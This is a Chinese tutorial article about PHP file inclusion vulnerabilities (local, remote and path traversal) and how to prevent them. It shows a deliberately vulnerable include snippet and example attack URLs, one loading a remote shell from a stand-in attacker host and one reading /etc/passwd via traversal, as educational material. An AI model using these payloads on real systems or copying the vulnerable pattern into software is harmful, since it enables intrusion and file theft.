PHP文件包含漏洞主要因未过滤用户输入导致,分为本地文件包含(LFI)、远程文件包含(RFI)和目录遍历三类,攻击者可借此读取敏感文件或执行恶意代码;防范措施包括使用白名单、关闭allow_url_include、严格过滤输入、避免直接拼接路径等,核心原则是不信任用户输入。

PHP 文件包含漏洞主要源于开发者在代码中动态引入文件时,未对用户输入进行严格过滤,导致攻击者可以包含恶意文件或敏感系统文件。这类漏洞分为以下几种类型:
1. 本地文件包含(LFI – Local File Inclusion)
说明:当 PHP 脚本使用 include、require、include_once 或 require_once 包含本地服务器上的文件,而文件路径由用户控制时,可能被利用读取服务器上的任意文件。
常见利用方式:
读取敏感配置文件,如 /etc/passwd、config.php配合文件上传漏洞执行任意代码通过日志文件写入 PHP 代码,再包含执行(如访问日志、错误日志)
示例代码(存在漏洞):
立即学习“PHP免费学习笔记(深入)”;
$filename = $_GET[‘file’];
include($filename . ‘.php’);
2. 远程文件包含(RFI – Remote File Inclusion)
说明:当 PHP 配置允许远程文件包含(allow_url_include=On),且程序动态包含外部 URL 时,攻击者可指定恶意远程脚本地址,导致任意代码执行。
前提条件:
allow_url_include = On(默认关闭)输入未过滤,直接用于包含语句
示例利用:
http://example.com/index.php?file=http://attacker.com/shell.txt
若目标服务器允许远程包含,就会加载并执行攻击者服务器上的脚本。
3. 目录遍历(Path Traversal)与 LFI 结合
说明:攻击者使用 ../ 绕过目录限制,访问上级目录中的敏感文件。
示例:
http://example.com/page.php?page=../../../../etc/passwd
若未做路径校验,可能导致系统文件泄露。
如何防范文件包含漏洞?
避免将用户输入直接用于文件包含路径使用白名单机制限定可包含的文件名关闭危险配置:设置 allow_url_include=Off 和 allow_url_fopen=Off(如非必要)对输入进行严格过滤和验证,如去除特殊字符、限制路径格式使用固定映射代替直接文件名拼接,例如:
$pages = [‘home’ => ‘home.php’, ‘about’ => ‘about.php’];
根据输入选择对应值,而非直接拼接
基本上就这些。关键在于不信任用户输入,尤其是用在文件操作中的参数。
以上就是php有哪些文件包含漏洞的详细内容,更多请关注创想鸟其它相关文章!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/1341470.html
微信扫一扫
支付宝扫一扫